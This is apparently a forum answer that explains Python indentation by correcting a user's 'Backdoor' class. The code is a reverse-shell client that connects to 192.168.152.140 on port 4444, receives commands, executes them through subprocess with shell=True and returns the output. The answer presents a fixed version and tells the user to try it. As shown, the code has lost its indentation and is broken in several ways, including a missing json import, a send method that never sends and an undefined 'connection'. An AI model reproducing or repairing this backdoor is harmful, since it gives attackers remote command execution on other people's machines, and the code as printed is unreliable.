Indentation in Python is very important: it controls flow and also defines when blocks of code start and stop.
To be part of the same block, code must have identical indentation:
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
self.connection.connect((ip, port))
The init function is part of the class becuas eit is indented to the right of the class definition.
import socket
import subprocess
class Backdoor:
...
def execute_system_command(self,command):
return subprocess.check_output(command, shell=True)
def run(self):
while True:
command = self.reliable_recieve()
command_result = self.execute_system_command(command)
connection.reliable_send(command_result)
connection.close()
execute_system_command
and
run
are not part of the class, becuas ethey are not indented to exactly the same level as the initialization function.
Try this:
<pre lang="python">import socket
import subprocess
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
def reliable_recieve(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self,command):
return subprocess.check_output(command, shell=True)
def run(self):
while True:
command = self.reliable_recieve()
command_result = self.execute_system_command(command)
connection.reliable_send(command_result)
connection.close()
my_Backdoor = Backdoor("192.168.152.140", 4444)
my_Backdoor.run()
And see if that improves it.